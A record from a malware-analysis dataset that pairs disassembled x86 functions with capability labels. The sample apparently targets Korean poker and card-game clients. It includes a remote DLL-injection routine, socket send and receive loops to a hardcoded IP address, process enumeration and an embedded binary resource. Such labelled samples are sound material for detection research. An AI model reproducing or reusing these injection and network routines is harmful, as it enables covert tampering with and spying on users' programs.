joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2a8e9c90
Capabilities:
Check if file exists

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push esi
push dword [esp + 0x14]
call fcn.2a88f370
push 0x62
push esi
mov edi, eax
mov ebx, 1
call sub.VCRUNTIME140.dll_strchr
add esp, 0x10
mov ecx, 0x11
test eax, eax
cmove ebx, ecx
test edi, edi
jne 0x2a8e9d35
push 0x48
push str.crypto_bio_bss_file.c
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push 1
push 2
call fcn.2a8d0840
push 0x2a9916a4
push esi
push 0x2a9b39b8
push dword [esp + 0x30]
push str.fopen_
push 5
call fcn.2a8cff50
add esp, 0x2c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__errno
cmp dword [eax], 2
je 0x2a8e9d12
call sub.api_ms_win_crt_runtime_l1_1_0.dll__errno
cmp dword [eax], 6
je 0x2a8e9d12
lea eax, [edi + 2]
lea ecx, [edi + 0x51]
jmp 0x2a8e9d1c
mov eax, 0x80
mov ecx, 0x4f
push ecx
push str.crypto_bio_bss_file.c
push eax
push 0x6d
push 0x20
call fcn.2a8d0840
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebx
ret
push 0x2a9b3960
call fcn.2a8ce250
mov esi, eax
add esp, 4
test esi, esi
jne 0x2a8e9d57
push edi
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
ret
push 0
push esi
call fcn.2a8cdbf0
push edi
push ebx
push 0x6a
push esi
call fcn.2a8cdc20
add esp, 0x18
mov eax, esi
pop edi
pop esi
pop ebx
ret
Function at 0x401000
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x44e378]
test eax, eax
jne 0x401023
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x44e378], eax
test eax, eax
jne 0x401023
pop ebp
ret 8
cmp dword [0x44e37c], 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
jne 0x401049
push str.SetParentId
push eax
call esi
mov dword [0x44e37c], eax
test eax, eax
je 0x4010c0
mov eax, dword [0x44e378]
cmp dword [0x44e380], 0
jne 0x401068
push str.SetCommand
push eax
call esi
mov dword [0x44e380], eax
test eax, eax
je 0x4010c0
mov eax, dword [0x44e378]
cmp dword [0x44e384], 0
jne 0x401087
push str.SetGameId
push eax
call esi
mov dword [0x44e384], eax
test eax, eax
je 0x4010c0
mov eax, dword [0x44e378]
cmp dword [0x44e388], 0
jne 0x4010a6
push str.GetDllDataLen
push eax
call esi
mov dword [0x44e388], eax
test eax, eax
je 0x4010c0
mov eax, dword [0x44e378]
cmp dword [0x44e38c], 0
jne 0x4010c7
push str.GetDllData
push eax
call esi
mov dword [0x44e38c], eax
test eax, eax
jne 0x4010c7
xor eax, eax
pop esi
pop ebp
ret 8
mov eax, dword [0x44e37c]
test eax, eax
je 0x4010d9
mov ecx, dword [ebp + 0xc]
push ecx
call eax
add esp, 4
xor ecx, ecx
call fcn.004010f0
mov eax, 1
pop esi
pop ebp
ret 8
Function at 0x401260
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
push eax
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x42ddd8
push 0x42dd10
push 0
mov dword [0x42dea0], eax
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x40129d
mov esp, ebp
pop ebp
ret
push str.highlow2.exe
push 0x40
push 0x42c304
call fcn.004128e5
push 0x426f18
push 0x40
push 0x42c804
call fcn.004128e5
push 0x426f24
push 0x40
push 0x42c384
call fcn.004128e5
push 0x426f40
push 0x40
push 0x42c884
call fcn.004128e5
push str.poker7.exe
push 0x40
push 0x42c404
call fcn.004128e5
push 0x426f74
push 0x40
push 0x42c904
call fcn.004128e5
add esp, 0x48
push str.Baduki.exe
push 0x40
push 0x42c484
call fcn.004128e5
push 0x426f9c
push 0x40
push 0x42c984
call fcn.004128e5
push str.HOOLA3.exe
push 0x40
push 0x42c504
call fcn.004128e5
push 0x426fc8
push 0x40
push 0x42ca04
call fcn.004128e5
push str.DuelPoker.exe
push 0x40
push 0x42c584
call fcn.004128e5
push 0x426ff8
push 0x40
push 0x42ca84
call fcn.004128e5
add esp, 0x48
push str.PMLauncher.exe
push 0x40
push 0x42c604
call fcn.004128e5
push 0x427028
push 0x40
push 0x42cb04
call fcn.004128e5
push str._PMLauncher.exe
push 0x40
push 0x42c684
call fcn.004128e5
push 0x427028
push 0x40
push 0x42cb84
call fcn.004128e5
push str.Newbadugi.exe
push 0x40
push 0x42c704
call fcn.004128e5
push 0x427070
push 0x40
push 0x42cc04
call fcn.004128e5
add esp, 0x48
push str.Poker.exe
push 0x40
push 0x42c784
call fcn.004128e5
push 0x427090
push 0x40
push 0x42cc84
call fcn.004128e5
push 0x100
push 0
push 0x44dea8
mov dword [0x42c300], 0xa
call fcn.00414340
add esp, 0x24
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [eax + 0x42709c]
mov word [eax + 0x44deac], cx
add eax, 2
test cx, cx
jne 0x401420
xor eax, eax
jmp 0x401440
movzx ecx, word [eax + 0x4270a0]
mov word [eax + 0x44dedc], cx
add eax, 2
test cx, cx
jne 0x401440
xor eax, eax
jmp 0x401460
movzx ecx, word [eax + str.218.54.31.166]
mov word [eax + 0x44deb0], cx
add eax, 2
test cx, cx
jne 0x401460
mov dword [0x44ded8], 0x51
xor eax, eax
movzx ecx, word [eax + str.MyCom]
mov word [eax + 0x44defa], cx
add eax, 2
test cx, cx
jne 0x401482
push esi
mov dword [0x44df94], 5
mov dword [0x44df9c], 0x32
call fcn.00402e50
push str.IsWow64Process
push str.kernel32
mov dword [0x44e1b0], eax
mov dword [0x42cd04], eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4014f6
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp eax, 1
je 0x4014f6
xor eax, eax
jmp 0x4014f9
mov eax, dword [ebp - 4]
mov dword [0x42cd08], eax
call fcn.00402ce0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401600
push 0
push 0
mov dword [0x46ebb2], 0x402690
call esi
push 0
push 0
push 0
push 0x401cd0
push 0
push 0
call esi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402920
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x42b0a4]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x206
xor edi, edi
lea ecx, [ebp - 0x20a]
xor eax, eax
push edi
push ecx
mov word [ebp - 0x20c], ax
call fcn.00414340
add esp, 0xc
mov dword [ebp - 0x210], edi
cmp esi, edi
je 0x4029da
lea edx, [ebp - 0x20c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.004129c9
push 0x42725c
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x210]
push edx
call fcn.004124b2
mov eax, dword [ebp - 0x210]
add esp, 0x18
cmp eax, edi
je 0x4029da
push eax
push 1
push 0x200
push esi
call fcn.00412c88
mov eax, dword [ebp - 0x210]
push eax
call fcn.00412737
add esp, 0x14
lea eax, [edi + 1]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00412317
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, edi
xor ecx, ebp
pop edi
call fcn.00412317
mov esp, ebp
pop ebp
ret

Function at 0x402bb0
Capabilities:
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0x3e8
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x42725c
lea eax, [ebp - 4]
push 0x44dfa8
push eax
call fcn.004124b2
mov eax, dword [ebp - 4]
add esp, 0xc
test eax, eax
je 0x402cd8
push 2
push 0
push eax
call fcn.004130fc
mov ecx, dword [ebp - 4]
add esp, 0xc
push ecx
call fcn.0041330c
mov esi, eax
add esp, 4
push esi
call fcn.00413371
mov edx, dword [ebp - 4]
add esp, 4
push 0
push 0
push edx
mov edi, eax
call fcn.004130fc
mov eax, dword [ebp - 4]
add esp, 0xc
push eax
push esi
push 1
push edi
call fcn.00412c88
add esp, 0x10
cmp esi, eax
jne 0x402cbb
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0041303f
add esp, 4
call fcn.00413051
mov dword [ebp - 8], eax
fild dword [ebp - 8]
fmul qword [0x429438]
fmul qword [0x429430]
fadd qword [0x429428]
call fcn.00414b80
cmp esi, eax
jl 0x402cbb
mov ebx, edi
sub ebx, eax
add ebx, esi
call fcn.00402b60
mov ecx, dword [ebp - 4]
push ecx
call fcn.00412737
add esp, 4
push 0x44dfa8
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x426e9c
lea edx, [ebp - 4]
push 0x44dfa8
push edx
call fcn.004124b2
mov eax, dword [ebp - 4]
add esp, 0xc
test eax, eax
je 0x402cd8
push eax
push esi
push 1
push edi
call fcn.00412650
add esp, 0x10
mov eax, dword [ebp - 4]
test eax, eax
je 0x402ccb
push eax
call fcn.00412737
add esp, 4
test edi, edi
je 0x402cd8
push edi
call fcn.0041230c
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402ce0
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x274
mov eax, dword [0x42b0a4]
xor eax, esp
mov dword [esp + 0x270], eax
push edi
xor eax, eax
push 0x62
push eax
lea ecx, [esp + 0x212]
push ecx
mov word [esp + 0x214], ax
call fcn.00414340
add esp, 0xc
push 0x200
lea edx, [esp + 0xc]
push 0
push edx
call fcn.00414340
add esp, 0xc
lea edi, [esp + 8]
call fcn.004029f0
test eax, eax
je 0x402e2f
xor eax, eax
nop
movzx ecx, word [esp + eax + 0xc]
mov word [eax + 0x44deb0], cx
add eax, 2
test cx, cx
jne 0x402d40
movzx eax, word [esp + 0x8c]
mov dword [0x44ded8], eax
xor eax, eax
jmp 0x402d70
movzx ecx, word [esp + eax + 0x8e]
mov word [eax + 0x44dedc], cx
add eax, 2
test cx, cx
jne 0x402d70
cmp dword [0x44e1b0], 3
jne 0x402db9
push 0x104
push 0x44dfa8
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x427280
push 0x104
push 0x44dfa8
call fcn.004129c9
add esp, 0xc
jmp 0x402dc9
push 0x44dfa8
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ecx, [esp + 0x1b0]
push ecx
push 0x104
push 0x44dfa8
call fcn.004129c9
add esp, 0xc
push 0x427284
push 0x104
push 0x44dfa8
call fcn.004129c9
add esp, 0xc
call fcn.00402bb0
push 0
push 0
push 0
push 0x402a90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea edi, [esp + 0x208]
call fcn.00402ac0
mov edx, edi
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov ecx, dword [esp + 0x274]
pop edi
xor ecx, esp
call fcn.00412317
mov esp, ebp
pop ebp
ret

Function at 0x402e50
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x42b0a4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x118
xor esi, esi
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.00414340
add esp, 0xc
lea ecx, [ebp - 0x120]
push ecx
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402f1b
mov eax, dword [ebp - 0x11c]
cmp eax, 5
jne 0x402eec
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x402ecc
cmp word [ebp - 0xc], 4
jb 0x402f1b
mov esi, 1
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00412317
mov esp, ebp
pop ebp
ret
cmp eax, 2
jae 0x402ed6
cmp eax, 1
jne 0x402f1b
mov esi, 3
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00412317
mov esp, ebp
pop ebp
ret
cmp eax, 6
jne 0x402f1b
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x402f11
mov esi, 4
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00412317
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x402f1b
mov esi, 5
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00412317
mov esp, ebp
pop ebp
ret
Function at 0x402f30
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.IDR_BINARY
mov esi, eax
push 0x83
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x402fc9
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, edi
and esi, 0x1ff
neg esi
sbb esi, esi
mov ecx, edi
neg esi
shr ecx, 9
add esi, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
shl esi, 9
push esi
mov dword [eax], edi
call fcn.00413371
push esi
mov ebx, eax
push 0
push ebx
call fcn.00414340
mov edx, dword [ebp - 4]
push edi
push edx
push ebx
call fcn.00413e80
mov eax, dword [ebp - 8]
add esp, 0x1c
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403310
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x42b0a4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
push edi
push 2
mov esi, ecx
mov dword [ebp - 0x234], edi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [ebp - 0x238], ebx
cmp ebx, 0xffffffff
jne 0x403365
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00412317
mov esp, ebp
pop ebp
ret
push 0x22c
lea eax, [ebp - 0x230]
push 0
push eax
call fcn.00414340
add esp, 0xc
lea ecx, [ebp - 0x230]
push ecx
push ebx
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
je 0x4033a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4033f1
xor edi, edi
cmp dword [esi], edi
jle 0x4033d2
lea ebx, [esi + 4]
lea esp, [esp]
lea edx, [ebp - 0x20c]
push ebx
push edx
call fcn.00413562
add esp, 8
test eax, eax
je 0x40340b
inc edi
sub ebx, 0xffffff80
cmp edi, dword [esi]
jl 0x4033b0
mov ebx, dword [ebp - 0x238]
lea eax, [ebp - 0x230]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x4033a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [ebp - 0x234]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412317
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [esi + 0xa14]
push 0x40
push edx
mov dword [ebp - 0x234], 1
mov dword [esi + 0xa0c], edi
call fcn.004128e5
mov ecx, dword [esi + 0xa0c]
mov eax, dword [ebp - 0x228]
shl ecx, 7
lea edx, [ecx + esi + 0x504]
push edx
mov dword [esi + 0xa10], eax
push 0x40
add esi, 0xa98
push esi
call fcn.004128e5
mov ebx, dword [ebp - 0x238]
add esp, 0x18
jmp 0x4033eb
Function at 0x4036e0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, eax
mov dword [ebp - 4], 0
test esi, esi
je 0x403805
test ebx, ebx
je 0x403805
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403703
sub eax, edx
sar eax, 1
cmp eax, 4
jb 0x403805
push edi
push esi
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x403744
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
mov edi, eax
call esi
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 4
push 0x3000
push 0x104
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x40377c
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
call esi
push edi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403781
sub eax, edx
push 0
sar eax, 1
lea eax, [eax + eax + 2]
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40375f
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x40375f
push 0x4272c4
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40375f
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
je 0x40375f
push 0x2710
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x4037ee
mov dword [ebp - 4], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x404010
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
mov ecx, 0x42ceec
call fcn.0041226f
mov ebx, eax
mov dword [ebp - 4], 1
test ebx, ebx
je 0x4040c4
test esi, esi
jne 0x4040c4
mov eax, dword [ebp + 8]
shr eax, 4
inc eax
push esi
movzx ecx, ax
push ecx
push 6
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov edi, eax
test edi, edi
je 0x4040a8
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4040a2
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4040a2
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
add eax, esi
and ecx, 0xf
jbe 0x404091
cmp esi, eax
jae 0x404095
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x404083
cmp esi, eax
jb 0x404099
xor eax, eax
jmp 0x4040a2
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
mov esi, eax
test eax, eax
jne 0x4040cd
mov edi, dword [ebp - 4]
push edi
mov ecx, 0x42ceec
call fcn.0041226f
mov ebx, eax
inc edi
mov dword [ebp - 4], edi
test ebx, ebx
jne 0x404035
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4040e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
mov eax, dword [ebp + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4040f8
pop edi
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x40412a
mov ecx, dword [ebp + 8]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, esi
and edi, 0xf
jbe 0x404126
cmp esi, eax
jae 0x40412a
dec edi
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x404118
cmp esi, eax
jb 0x404130
pop esi
xor eax, eax
pop edi
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebp
ret

Function at 0x404180
Capabilities:
Create thread

Disassembly:
push esi
push edi
xor edi, edi
xor eax, eax
push 0x10000
push edi
push 0x44e3ae
mov dword [0x44e390], eax
mov dword [0x44e394], eax
mov dword [0x44e398], eax
mov dword [0x44e39c], eax
mov word [0x44e3a0], ax
mov dword [0x44e3a2], edi
mov dword [0x44e3a6], 1
mov dword [0x44e3aa], edi
call fcn.00414340
push 0x10000
push edi
push 0x45e3b2
mov dword [0x45e3ae], edi
call fcn.00414340
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x18
push edi
push edi
push 0x44e390
push 0x404160
push edi
push edi
mov dword [0x46ebb2], edi
call esi
push edi
push edi
push 0x44e390
push 0x404170
push edi
push edi
call esi
pop edi
mov eax, 0x44e390
pop esi
ret
Function at 0x404640
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
mov eax, dword [0x42b0a4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
cmp dword [edi + 0x16], 3
jl 0x404820
lea eax, [edi + 0x20022]
lea esi, [ebp - 0x804]
mov dword [edi + 0x1001e], 0x10000
lea ecx, [edi + 0x10022]
mov dword [ebp - 0x810], esi
test eax, eax
je 0x40468d
mov dword [ebp - 0x810], eax
mov esi, eax
xor eax, eax
mov word [esi], ax
mov dword [ebp - 0x814], eax
mov eax, dword [edi + 0x12]
test eax, eax
je 0x4047f7
test ecx, ecx
je 0x4047f7
push 0
push 4
lea ecx, [ebp - 0x808]
push ecx
push eax
mov dword [ebp - 0x808], 0
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x4046f8
mov eax, 0x427368
mov edx, esi
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x4046d5
push 0x1e
mov dword [edi + 0x16], 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x404655
test eax, eax
je 0x40480b
movzx ebx, byte [ebp - 0x808]
movzx edx, byte [ebp - 0x807]
movzx eax, byte [ebp - 0x806]
movzx ecx, byte [ebp - 0x805]
shl ebx, 8
add ebx, edx
mov edx, dword [edi + 0x1001e]
shl ebx, 8
add ebx, eax
shl ebx, 8
push edx
add ebx, ecx
xor esi, esi
call fcn.00413371
add esp, 4
mov dword [ebp - 0x80c], eax
cmp dword [edi + 0x1001e], esi
jle 0x404786
lea ebx, [ebx]
cmp esi, ebx
jae 0x404786
mov ecx, dword [edi + 0x1001e]
push 0
sub ecx, esi
push ecx
lea edx, [esi + eax]
mov eax, dword [edi + 0x12]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4047a6
test eax, eax
je 0x4047a6
add esi, eax
mov eax, dword [ebp - 0x80c]
cmp dword [edi + 0x1001e], esi
jg 0x404750
mov ecx, dword [edi + 0x1001e]
cmp ecx, esi
jl 0x4047ca
push esi
push eax
lea eax, [edi + 0x10022]
push eax
call fcn.00413e80
mov dword [edi + 0x1001e], esi
jmp 0x4047d8
mov edx, dword [ebp - 0x810]
mov eax, 0x427368
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x4047b3
mov esi, dword [ebp - 0x814]
jmp 0x4047e0
push ecx
push eax
lea eax, [edi + 0x10022]
push eax
call fcn.00413e80
add esp, 0xc
mov esi, 1
mov eax, dword [ebp - 0x80c]
test eax, eax
je 0x4047f3
push eax
call fcn.0041230c
add esp, 4
test esi, esi
jne 0x40480b
push 0x1e
mov dword [edi + 0x16], 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x404655
cmp dword [edi + 0x1001e], 4
jle 0x404820
mov eax, dword [edi + 0x20822]
test eax, eax
je 0x404820
call eax
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x404655
Function at 0x404830
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
mov eax, dword [0x42b0a4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
jmp 0x404850
mov eax, dword [esi + 0x16]
cmp eax, 3
jl 0x404957
cmp eax, 0xb
jne 0x404957
mov ebx, dword [esi + 0x1a]
lea eax, [esi + 0x20022]
lea ecx, [ebp - 0x804]
mov dword [ebp - 0x80c], ecx
test eax, eax
je 0x404884
mov dword [ebp - 0x80c], eax
mov eax, dword [ebp - 0x80c]
xor edx, edx
mov word [eax], dx
xor edi, edi
cmp dword [esi + 0x12], edx
je 0x40492f
push ebx
call fcn.00413371
push ebx
lea ecx, [esi + 0x1e]
push ecx
push eax
mov dword [ebp - 0x810], eax
call fcn.00413e80
add esp, 0x10
mov edx, ebx
shr edx, 0x18
push edi
mov eax, ebx
sar eax, 0x10
mov byte [ebp - 0x808], dl
push 4
lea edx, [ebp - 0x808]
mov byte [ebp - 0x807], al
mov eax, dword [esi + 0x12]
mov ecx, ebx
push edx
sar ecx, 8
push eax
mov byte [ebp - 0x806], cl
mov byte [ebp - 0x805], bl
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 0x810]
mov edx, dword [esi + 0x12]
push edi
push ebx
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x404912
cmp eax, ebx
jne 0x404912
mov edi, 1
jmp 0x40492f
mov edx, dword [ebp - 0x80c]
mov eax, 0x427348
sub edx, eax
nop
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x404920
mov eax, dword [ebp - 0x810]
test eax, eax
je 0x40494c
push eax
call fcn.0041230c
add esp, 4
mov dword [ebp - 0x810], 0
neg edi
sbb edi, edi
and edi, 9
inc edi
mov dword [esi + 0x16], edi
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x404850

Function at 0x404ad0
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, eax
xor eax, eax
mov ebx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
cmp ebx, eax
je 0x404bc3
cmp edi, 0xa
jb 0x404bc3
lea eax, [edi*4]
mov dword [ebp - 0xc], eax
inc eax
push eax
call fcn.00412326
add esp, 4
mov esi, eax
push esi
push ebx
lea edx, [ebp - 0xc]
mov ecx, edi
call fcn.00404970
add esp, 8
test eax, eax
je 0x404bba
mov eax, dword [ebp + 8]
push 0x426e9c
push eax
lea ecx, [ebp - 4]
push ecx
call fcn.004124b2
mov eax, dword [ebp - 4]
add esp, 0xc
test eax, eax
jne 0x404b44
lea edi, [eax - 2]
jmp 0x404b72
mov edi, dword [ebp - 0xc]
push eax
push edi
push 1
push esi
call fcn.00412650
add esp, 0x10
cmp eax, edi
je 0x404b88
mov dword [ebp - 8], 0xfffffffe
mov eax, dword [ebp - 4]
test eax, eax
je 0x404b6f
push eax
call fcn.00412737
add esp, 4
mov edi, dword [ebp - 8]
test esi, esi
je 0x404b7f
push esi
call fcn.004123ba
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
xor edx, edx
mov ecx, 0x1f4
div ecx
mov ebx, edx
call edi
xor edx, edx
mov ecx, 0x3e8
div ecx
mov eax, dword [ebp - 4]
push eax
push ebx
push 1
add edx, esi
push edx
call fcn.00412650
add esp, 0x10
jmp 0x404b5f
mov dword [ebp - 8], 0xfffffffd
jmp 0x404b5f
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret